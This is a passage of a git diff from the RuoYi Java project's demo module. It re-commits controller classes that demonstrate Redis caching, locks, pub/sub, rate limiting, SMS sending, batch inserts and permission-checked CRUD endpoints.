+ * cacheNames 命名规则 查看 {@link CacheNames} 注释 支持多参数 + */ + @CacheEvict(cacheNames = CacheNames.DEMO_CACHE, key = "#key", condition = "#key != null") + @GetMapping("/test3") + public R test3(String key, String value) { + return R.ok("操作成功", value); + } + + /** + * 测试设置过期时间 + * 手动设置过期时间10秒 + * 11秒后获取 判断是否相等 + */ + @GetMapping("/test6") + public R test6(String key, String value) { + RedisUtils.setCacheObject(key, value); + boolean flag = RedisUtils.expire(key, Duration.ofSeconds(10)); + System.out.println("***********" + flag); + try { + Thread.sleep(11 * 1000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + Object obj = RedisUtils.getCacheObject(key); + return R.ok(value.equals(obj)); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisLockController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisLockController.java index 5aac45d..75131a7 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisLockController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisLockController.java @@ -1,71 +1,71 @@ -package org.dromara.demo.controller; - -import com.baomidou.lock.LockInfo; -import com.baomidou.lock.LockTemplate; -import com.baomidou.lock.annotation.Lock4j; -import com.baomidou.lock.executor.RedissonLockExecutor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.time.LocalTime; - - -/** - * 测试分布式锁的样例 - * - * @author shenxinquan - */ -@Slf4j -@RestController -@RequestMapping("/demo/redisLock") -public class RedisLockController { - - @Autowired - private LockTemplate lockTemplate; - - /** - * 测试lock4j 注解 - */ - @Lock4j(keys = {"#key"}) - @GetMapping("/testLock4j") - public R testLock4j(String key, String value) { - System.out.println("start:" + key + ",time:" + LocalTime.now().toString()); - try { - Thread.sleep(10000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - System.out.println("end :" + key + ",time:" + LocalTime.now().toString()); - return R.ok("操作成功", value); - } - - /** - * 测试lock4j 工具 - */ - @GetMapping("/testLock4jLockTemplate") - public R testLock4jLockTemplate(String key, String value) { - final LockInfo lockInfo = lockTemplate.lock(key, 30000L, 5000L, RedissonLockExecutor.class); - if (null == lockInfo) { - throw new RuntimeException("业务处理中,请稍后再试"); - } - // 获取锁成功,处理业务 - try { - try { - Thread.sleep(8000); - } catch (InterruptedException e) { - // - } - System.out.println("执行简单方法1 , 当前线程:" + Thread.currentThread().getName()); - } finally { - //释放锁 - lockTemplate.releaseLock(lockInfo); - } - //结束 - return R.ok("操作成功", value); - } - -} +package org.dromara.demo.controller; + +import com.baomidou.lock.LockInfo; +import com.baomidou.lock.LockTemplate; +import com.baomidou.lock.annotation.Lock4j; +import com.baomidou.lock.executor.RedissonLockExecutor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.time.LocalTime; + + +/** + * 测试分布式锁的样例 + * + * @author shenxinquan + */ +@Slf4j +@RestController +@RequestMapping("/demo/redisLock") +public class RedisLockController { + + @Autowired + private LockTemplate lockTemplate; + + /** + * 测试lock4j 注解 + */ + @Lock4j(keys = {"#key"}) + @GetMapping("/testLock4j") + public R testLock4j(String key, String value) { + System.out.println("start:" + key + ",time:" + LocalTime.now().toString()); + try { + Thread.sleep(10000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + System.out.println("end :" + key + ",time:" + LocalTime.now().toString()); + return R.ok("操作成功", value); + } + + /** + * 测试lock4j 工具 + */ + @GetMapping("/testLock4jLockTemplate") + public R testLock4jLockTemplate(String key, String value) { + final LockInfo lockInfo = lockTemplate.lock(key, 30000L, 5000L, RedissonLockExecutor.class); + if (null == lockInfo) { + throw new RuntimeException("业务处理中,请稍后再试"); + } + // 获取锁成功,处理业务 + try { + try { + Thread.sleep(8000); + } catch (InterruptedException e) { + // + } + System.out.println("执行简单方法1 , 当前线程:" + Thread.currentThread().getName()); + } finally { + //释放锁 + lockTemplate.releaseLock(lockInfo); + } + //结束 + return R.ok("操作成功", value); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisPubSubController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisPubSubController.java index 88227b6..abd5dc6 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisPubSubController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisPubSubController.java @@ -1,47 +1,47 @@ -package org.dromara.demo.controller; - -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.redis.utils.RedisUtils; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -/** - * Redis 发布订阅 演示案例 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/redis/pubsub") -public class RedisPubSubController { - - /** - * 发布消息 - * - * @param key 通道Key - * @param value 发送内容 - */ - @GetMapping("/pub") - public R pub(String key, String value) { - RedisUtils.publish(key, value, consumer -> { - System.out.println("发布通道 => " + key + ", 发送值 => " + value); - }); - return R.ok("操作成功"); - } - - /** - * 订阅消息 - * - * @param key 通道Key - */ - @GetMapping("/sub") - public R sub(String key) { - RedisUtils.subscribe(key, String.class, msg -> { - System.out.println("订阅通道 => " + key + ", 接收值 => " + msg); - }); - return R.ok("操作成功"); - } - -} +package org.dromara.demo.controller; + +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.redis.utils.RedisUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * Redis 发布订阅 演示案例 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/redis/pubsub") +public class RedisPubSubController { + + /** + * 发布消息 + * + * @param key 通道Key + * @param value 发送内容 + */ + @GetMapping("/pub") + public R pub(String key, String value) { + RedisUtils.publish(key, value, consumer -> { + System.out.println("发布通道 => " + key + ", 发送值 => " + value); + }); + return R.ok("操作成功"); + } + + /** + * 订阅消息 + * + * @param key 通道Key + */ + @GetMapping("/sub") + public R sub(String key) { + RedisUtils.subscribe(key, String.class, msg -> { + System.out.println("订阅通道 => " + key + ", 接收值 => " + msg); + }); + return R.ok("操作成功"); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisRateLimiterController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisRateLimiterController.java index 43e61d4..705cc7f 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisRateLimiterController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisRateLimiterController.java @@ -1,64 +1,64 @@ -package org.dromara.demo.controller; - -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.common.ratelimiter.annotation.RateLimiter; -import org.dromara.common.ratelimiter.enums.LimitType; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - - -/** - * 测试分布式限流样例 - * - * @author Lion Li - */ -@Slf4j -@RestController -@RequestMapping("/demo/rateLimiter") -public class RedisRateLimiterController { - - /** - * 测试全局限流 - * 全局影响 - */ - @RateLimiter(count = 2, time = 10) - @GetMapping("/test") - public R test(String value) { - return R.ok("操作成功", value); - } - - /** - * 测试请求IP限流 - * 同一IP请求受影响 - */ - @RateLimiter(count = 2, time = 10, limitType = LimitType.IP) - @GetMapping("/testip") - public R testip(String value) { - return R.ok("操作成功", value); - } - - /** - * 测试集群实例限流 - * 启动两个后端服务互不影响 - */ - @RateLimiter(count = 2, time = 10, limitType = LimitType.CLUSTER) - @GetMapping("/testcluster") - public R testcluster(String value) { - return R.ok("操作成功", value); - } - - /** - * 测试请求IP限流(key基于参数获取) - * 同一IP请求受影响 - * - * 简单变量获取 #变量 复杂表达式 #{#变量 != 1 ? 1 : 0} - */ - @RateLimiter(count = 2, time = 10, limitType = LimitType.IP, key = "#value") - @GetMapping("/testObj") - public R testObj(String value) { - return R.ok("操作成功", value); - } - -} +package org.dromara.demo.controller; + +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.common.ratelimiter.annotation.RateLimiter; +import org.dromara.common.ratelimiter.enums.LimitType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + + +/** + * 测试分布式限流样例 + * + * @author Lion Li + */ +@Slf4j +@RestController +@RequestMapping("/demo/rateLimiter") +public class RedisRateLimiterController { + + /** + * 测试全局限流 + * 全局影响 + */ + @RateLimiter(count = 2, time = 10) + @GetMapping("/test") + public R test(String value) { + return R.ok("操作成功", value); + } + + /** + * 测试请求IP限流 + * 同一IP请求受影响 + */ + @RateLimiter(count = 2, time = 10, limitType = LimitType.IP) + @GetMapping("/testip") + public R testip(String value) { + return R.ok("操作成功", value); + } + + /** + * 测试集群实例限流 + * 启动两个后端服务互不影响 + */ + @RateLimiter(count = 2, time = 10, limitType = LimitType.CLUSTER) + @GetMapping("/testcluster") + public R testcluster(String value) { + return R.ok("操作成功", value); + } + + /** + * 测试请求IP限流(key基于参数获取) + * 同一IP请求受影响 + * + * 简单变量获取 #变量 复杂表达式 #{#变量 != 1 ? 1 : 0} + */ + @RateLimiter(count = 2, time = 10, limitType = LimitType.IP, key = "#value") + @GetMapping("/testObj") + public R testObj(String value) { + return R.ok("操作成功", value); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/SmsController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/SmsController.java index b993f60..a36eebe 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/SmsController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/SmsController.java @@ -1,82 +1,82 @@ -package org.dromara.demo.controller; - -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.sms4j.api.SmsBlend; -import org.dromara.sms4j.api.entity.SmsResponse; -import org.dromara.sms4j.core.factory.SmsFactory; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.util.LinkedHashMap; - -/** - * 短信演示案例 - * 请先阅读文档 否则无法使用 - * - * @author Lion Li - * @version 4.2.0 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/sms") -public class SmsController { - /** - * 发送短信Aliyun - * - * @param phones 电话号 - * @param templateId 模板ID - */ - @GetMapping("/sendAliyun") - public R sendAliyun(String phones, String templateId) { - LinkedHashMap map = new LinkedHashMap<>(1); - map.put("code", "1234"); - SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); - SmsResponse smsResponse = smsBlend.sendMessage(phones, templateId, map); - return R.ok(smsResponse); - } - - /** - * 发送短信Tencent - * - * @param phones 电话号 - * @param templateId 模板ID - */ - @GetMapping("/sendTencent") - public R sendTencent(String phones, String templateId) { - LinkedHashMap map = new LinkedHashMap<>(1); -// map.put("2", "测试测试"); - map.put("1", "1234"); - SmsBlend smsBlend = SmsFactory.getSmsBlend("config2"); - SmsResponse smsResponse = smsBlend.sendMessage(phones, templateId, map); - return R.ok(smsResponse); - } - - /** - * 添加黑名单 - * - * @param phone 手机号 - */ - @GetMapping("/addBlacklist") - public R addBlacklist(String phone){ - SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); - smsBlend.joinInBlacklist(phone); - return R.ok(); - } - - /** - * 移除黑名单 - * - * @param phone 手机号 - */ - @GetMapping("/removeBlacklist") - public R removeBlacklist(String phone){ - SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); - smsBlend.removeFromBlacklist(phone); - return R.ok(); - } - -} +package org.dromara.demo.controller; + +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.sms4j.api.SmsBlend; +import org.dromara.sms4j.api.entity.SmsResponse; +import org.dromara.sms4j.core.factory.SmsFactory; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.LinkedHashMap; + +/** + * 短信演示案例 + * 请先阅读文档 否则无法使用 + * + * @author Lion Li + * @version 4.2.0 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/sms") +public class SmsController { + /** + * 发送短信Aliyun + * + * @param phones 电话号 + * @param templateId 模板ID + */ + @GetMapping("/sendAliyun") + public R sendAliyun(String phones, String templateId) { + LinkedHashMap map = new LinkedHashMap<>(1); + map.put("code", "1234"); + SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); + SmsResponse smsResponse = smsBlend.sendMessage(phones, templateId, map); + return R.ok(smsResponse); + } + + /** + * 发送短信Tencent + * + * @param phones 电话号 + * @param templateId 模板ID + */ + @GetMapping("/sendTencent") + public R sendTencent(String phones, String templateId) { + LinkedHashMap map = new LinkedHashMap<>(1); +// map.put("2", "测试测试"); + map.put("1", "1234"); + SmsBlend smsBlend = SmsFactory.getSmsBlend("config2"); + SmsResponse smsResponse = smsBlend.sendMessage(phones, templateId, map); + return R.ok(smsResponse); + } + + /** + * 添加黑名单 + * + * @param phone 手机号 + */ + @GetMapping("/addBlacklist") + public R addBlacklist(String phone){ + SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); + smsBlend.joinInBlacklist(phone); + return R.ok(); + } + + /** + * 移除黑名单 + * + * @param phone 手机号 + */ + @GetMapping("/removeBlacklist") + public R removeBlacklist(String phone){ + SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); + smsBlend.removeFromBlacklist(phone); + return R.ok(); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/Swagger3DemoController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/Swagger3DemoController.java index bb02f98..e53ca35 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/Swagger3DemoController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/Swagger3DemoController.java @@ -1,31 +1,31 @@ -package org.dromara.demo.controller; - -import org.dromara.common.core.domain.R; -import org.springframework.http.MediaType; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestPart; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.multipart.MultipartFile; - -/** - * swagger3 用法示例 - * - * @author Lion Li - */ -@RestController -@RequestMapping("/swagger/demo") -public class Swagger3DemoController { - - /** - * 上传请求 - * 必须使用 @RequestPart 注解标注为文件 - * - * @param file 文件 - */ - @PostMapping(value = "/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) - public R upload(@RequestPart("file") MultipartFile file) { - return R.ok("操作成功", file.getOriginalFilename()); - } - -} +package org.dromara.demo.controller; + +import org.dromara.common.core.domain.R; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestPart; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +/** + * swagger3 用法示例 + * + * @author Lion Li + */ +@RestController +@RequestMapping("/swagger/demo") +public class Swagger3DemoController { + + /** + * 上传请求 + * 必须使用 @RequestPart 注解标注为文件 + * + * @param file 文件 + */ + @PostMapping(value = "/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) + public R upload(@RequestPart("file") MultipartFile file) { + return R.ok("操作成功", file.getOriginalFilename()); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestBatchController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestBatchController.java index 62cddab..0602a49 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestBatchController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestBatchController.java @@ -1,90 +1,90 @@ -package org.dromara.demo.controller; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.web.core.BaseController; -import org.dromara.demo.domain.TestDemo; -import org.dromara.demo.mapper.TestDemoMapper; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.util.ArrayList; -import java.util.List; - -/** - * 测试批量方法 - * - * @author Lion Li - * @date 2021-05-30 - */ -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/batch") -public class TestBatchController extends BaseController { - - /** - * 为了便于测试 直接引入mapper - */ - private final TestDemoMapper testDemoMapper; - - /** - * 新增批量方法 可完美替代 saveBatch 秒级插入上万数据 (对mysql负荷较大) - *

- * 3.5.0 版本 增加 rewriteBatchedStatements=true 批处理参数 使 MP 原生批处理可以达到同样的速度 - */ - @PostMapping("/add") -// @DS("slave") - public R add() { - List list = new ArrayList<>(); - for (int i = 0; i < 1000; i++) { - TestDemo testDemo = new TestDemo(); - testDemo.setOrderNum(-1); - testDemo.setTestKey("批量新增"); - testDemo.setValue("测试新增"); - list.add(testDemo); - } - return toAjax(testDemoMapper.insertBatch(list)); - } - - /** - * 新增或更新 可完美替代 saveOrUpdateBatch 高性能 - *

- * 3.5.0 版本 增加 rewriteBatchedStatements=true 批处理参数 使 MP 原生批处理可以达到同样的速度 - */ - @PostMapping("/addOrUpdate") -// @DS("slave") - public R addOrUpdate() { - List list = new ArrayList<>(); - for (int i = 0; i < 1000; i++) { - TestDemo testDemo = new TestDemo(); - testDemo.setOrderNum(-1); - testDemo.setTestKey("批量新增"); - testDemo.setValue("测试新增"); - list.add(testDemo); - } - testDemoMapper.insertBatch(list); - for (int i = 0; i < list.size(); i++) { - TestDemo testDemo = list.get(i); - testDemo.setTestKey("批量新增或修改"); - testDemo.setValue("批量新增或修改"); - if (i % 2 == 0) { - testDemo.setId(null); - } - } - return toAjax(testDemoMapper.insertOrUpdateBatch(list)); - } - - /** - * 删除批量方法 - */ - @DeleteMapping() -// @DS("slave") - public R remove() { - return toAjax(testDemoMapper.delete(new LambdaQueryWrapper() - .eq(TestDemo::getOrderNum, -1L))); - } - -} +package org.dromara.demo.controller; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.web.core.BaseController; +import org.dromara.demo.domain.TestDemo; +import org.dromara.demo.mapper.TestDemoMapper; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.ArrayList; +import java.util.List; + +/** + * 测试批量方法 + * + * @author Lion Li + * @date 2021-05-30 + */ +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/batch") +public class TestBatchController extends BaseController { + + /** + * 为了便于测试 直接引入mapper + */ + private final TestDemoMapper testDemoMapper; + + /** + * 新增批量方法 可完美替代 saveBatch 秒级插入上万数据 (对mysql负荷较大) + *

+ * 3.5.0 版本 增加 rewriteBatchedStatements=true 批处理参数 使 MP 原生批处理可以达到同样的速度 + */ + @PostMapping("/add") +// @DS("slave") + public R add() { + List list = new ArrayList<>(); + for (int i = 0; i < 1000; i++) { + TestDemo testDemo = new TestDemo(); + testDemo.setOrderNum(-1); + testDemo.setTestKey("批量新增"); + testDemo.setValue("测试新增"); + list.add(testDemo); + } + return toAjax(testDemoMapper.insertBatch(list)); + } + + /** + * 新增或更新 可完美替代 saveOrUpdateBatch 高性能 + *

+ * 3.5.0 版本 增加 rewriteBatchedStatements=true 批处理参数 使 MP 原生批处理可以达到同样的速度 + */ + @PostMapping("/addOrUpdate") +// @DS("slave") + public R addOrUpdate() { + List list = new ArrayList<>(); + for (int i = 0; i < 1000; i++) { + TestDemo testDemo = new TestDemo(); + testDemo.setOrderNum(-1); + testDemo.setTestKey("批量新增"); + testDemo.setValue("测试新增"); + list.add(testDemo); + } + testDemoMapper.insertBatch(list); + for (int i = 0; i < list.size(); i++) { + TestDemo testDemo = list.get(i); + testDemo.setTestKey("批量新增或修改"); + testDemo.setValue("批量新增或修改"); + if (i % 2 == 0) { + testDemo.setId(null); + } + } + return toAjax(testDemoMapper.insertOrUpdateBatch(list)); + } + + /** + * 删除批量方法 + */ + @DeleteMapping() +// @DS("slave") + public R remove() { + return toAjax(testDemoMapper.delete(new LambdaQueryWrapper() + .eq(TestDemo::getOrderNum, -1L))); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestDemoController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestDemoController.java index 761c0f6..65e4a72 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestDemoController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestDemoController.java @@ -1,147 +1,147 @@ -package org.dromara.demo.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.core.validate.QueryGroup; -import org.dromara.common.excel.core.ExcelResult; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.demo.domain.TestDemo; -import org.dromara.demo.domain.bo.TestDemoBo; -import org.dromara.demo.domain.bo.TestDemoImportVo; -import org.dromara.demo.domain.vo.TestDemoVo; -import org.dromara.demo.service.ITestDemoService; -import org.springframework.http.MediaType; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; -import org.springframework.web.multipart.MultipartFile; - -import java.util.Arrays; -import java.util.List; -import java.util.concurrent.TimeUnit; - -/** - * 测试单表Controller - * - * @author Lion Li - * @date 2021-07-26 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/demo") -public class TestDemoController extends BaseController { - - private final ITestDemoService testDemoService; - - /** - * 查询测试单表列表 - */ - @SaCheckPermission("demo:demo:list") - @GetMapping("/list") - public TableDataInfo list(@Validated(QueryGroup.class) TestDemoBo bo, PageQuery pageQuery) { - return testDemoService.queryPageList(bo, pageQuery); - } - - /** - * 自定义分页查询 - */ - @SaCheckPermission("demo:demo:list") - @GetMapping("/page") - public TableDataInfo page(@Validated(QueryGroup.class) TestDemoBo bo, PageQuery pageQuery) { - return testDemoService.customPageList(bo, pageQuery); - } - - /** - * 导入数据 - * - * @param file 导入文件 - */ - @Log(title = "测试单表", businessType = BusinessType.IMPORT) - @SaCheckPermission("demo:demo:import") - @PostMapping(value = "/importData", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) - public R importData(@RequestPart("file") MultipartFile file) throws Exception { - ExcelResult excelResult = ExcelUtil.importExcel(file.getInputStream(), TestDemoImportVo.class, true); - List list = MapstructUtils.convert(excelResult.getList(), TestDemo.class); - testDemoService.saveBatch(list); - return R.ok(excelResult.getAnalysis()); - } - - /** - * 导出测试单表列表 - */ - @SaCheckPermission("demo:demo:export") - @Log(title = "测试单表", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(@Validated TestDemoBo bo, HttpServletResponse response) { - List list = testDemoService.queryList(bo); - // 测试雪花id导出 -// for (TestDemoVo vo : list) { -// vo.setId(1234567891234567893L); -// } - ExcelUtil.exportExcel(list, "测试单表", TestDemoVo.class, response); - } - - /** - * 获取测试单表详细信息 - * - * @param id 测试ID - */ - @SaCheckPermission("demo:demo:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable("id") Long id) { - return R.ok(testDemoService.queryById(id)); - } - - /** - * 新增测试单表 - */ - @SaCheckPermission("demo:demo:add") - @Log(title = "测试单表", businessType = BusinessType.INSERT) - @RepeatSubmit(interval = 2, timeUnit = TimeUnit.SECONDS, message = "{repeat.submit.message}") - @PostMapping() - public R add(@RequestBody TestDemoBo bo) { - // 使用校验工具对标 @Validated(AddGroup.class) 注解 - // 用于在非 Controller 的地方校验对象 - ValidatorUtils.validate(bo, AddGroup.class); - return toAjax(testDemoService.insertByBo(bo)); - } - - /** - * 修改测试单表 - */ - @SaCheckPermission("demo:demo:edit") - @Log(title = "测试单表", businessType = BusinessType.UPDATE) - @RepeatSubmit - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TestDemoBo bo) { - return toAjax(testDemoService.updateByBo(bo)); - } - - /** - * 删除测试单表 - * - * @param ids 测试ID串 - */ - @SaCheckPermission("demo:demo:remove") - @Log(title = "测试单表", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(testDemoService.deleteWithValidByIds(Arrays.asList(ids), true)); - } -} +package org.dromara.demo.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.core.validate.QueryGroup; +import org.dromara.common.excel.core.ExcelResult; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.demo.domain.TestDemo; +import org.dromara.demo.domain.bo.TestDemoBo; +import org.dromara.demo.domain.bo.TestDemoImportVo; +import org.dromara.demo.domain.vo.TestDemoVo; +import org.dromara.demo.service.ITestDemoService; +import org.springframework.http.MediaType; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; + +import java.util.Arrays; +import java.util.List; +import java.util.concurrent.TimeUnit; + +/** + * 测试单表Controller + * + * @author Lion Li + * @date 2021-07-26 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/demo") +public class TestDemoController extends BaseController { + + private final ITestDemoService testDemoService; + + /** + * 查询测试单表列表 + */ + @SaCheckPermission("demo:demo:list") + @GetMapping("/list") + public TableDataInfo list(@Validated(QueryGroup.class) TestDemoBo bo, PageQuery pageQuery) { + return testDemoService.queryPageList(bo, pageQuery); + } + + /** + * 自定义分页查询 + */ + @SaCheckPermission("demo:demo:list") + @GetMapping("/page") + public TableDataInfo page(@Validated(QueryGroup.class) TestDemoBo bo, PageQuery pageQuery) { + return testDemoService.customPageList(bo, pageQuery); + } + + /** + * 导入数据 + * + * @param file 导入文件 + */ + @Log(title = "测试单表", businessType = BusinessType.IMPORT) + @SaCheckPermission("demo:demo:import") + @PostMapping(value = "/importData", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) + public R importData(@RequestPart("file") MultipartFile file) throws Exception { + ExcelResult excelResult = ExcelUtil.importExcel(file.getInputStream(), TestDemoImportVo.class, true); + List list = MapstructUtils.convert(excelResult.getList(), TestDemo.class); + testDemoService.saveBatch(list); + return R.ok(excelResult.getAnalysis()); + } + + /** + * 导出测试单表列表 + */ + @SaCheckPermission("demo:demo:export") + @Log(title = "测试单表", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(@Validated TestDemoBo bo, HttpServletResponse response) { + List list = testDemoService.queryList(bo); + // 测试雪花id导出 +// for (TestDemoVo vo : list) { +// vo.setId(1234567891234567893L); +// } + ExcelUtil.exportExcel(list, "测试单表", TestDemoVo.class, response); + } + + /** + * 获取测试单表详细信息 + * + * @param id 测试ID + */ + @SaCheckPermission("demo:demo:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable("id") Long id) { + return R.ok(testDemoService.queryById(id)); + } + + /** + * 新增测试单表 + */ + @SaCheckPermission("demo:demo:add") + @Log(title = "测试单表", businessType = BusinessType.INSERT) + @RepeatSubmit(interval = 2, timeUnit = TimeUnit.SECONDS, message = "{repeat.submit.message}") + @PostMapping() + public R add(@RequestBody TestDemoBo bo) { + // 